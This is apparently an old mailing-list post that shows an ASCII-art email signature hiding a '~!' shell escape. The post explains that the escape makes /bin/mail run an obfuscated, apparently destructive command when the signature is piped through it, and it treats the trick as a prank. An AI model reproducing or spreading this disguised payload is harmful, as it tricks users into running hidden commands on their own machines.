on code signatures

[aluminumsulfate at earthlink.net]

One .sig which is particularly sneaky (not going to say who invented it ;)
is:

              []                                       []
  ^^        .:[]:_          ^^                       ,:[]:.    ^^
          .: :[]: :-.                   ^^        ,-: :[]: :.
      .: : : :[]: : : : :-._               _,-: : : : :[]: : : :.
  _..: : : : :[]: : : : : : :-._________.-: : : : : : :[]: : : : :-._
  _:_:_:_:_:_:[]:_:_:_:_:_:_:_:_:_:_:_:_:_:_:_:_:_:_:_:[]:_:_:_:_:_:_
  !!!!!!!!!!!![]!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!![]!!!!!!!!!!!!!
  ^^^^^^^^^^^^[]^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^[]^^^^^^^^^^^^^
              []                                       []
              []                                       []
~!fs\ s\a\ ~\/ a\ll al\l#~^~_~g at j-~@^~_ki~-^l~l~~-n~_x/  \~^u~_pa-~R- 

 ^ notice the ~ escape at the beginning of that line.  When piped
through /bin/mail (say, to mail someone else the cool sig you just
found), mail will interperet ~! as a shell escape and run everything
up to the "#" as a shell command.... Oh, what surprises await!!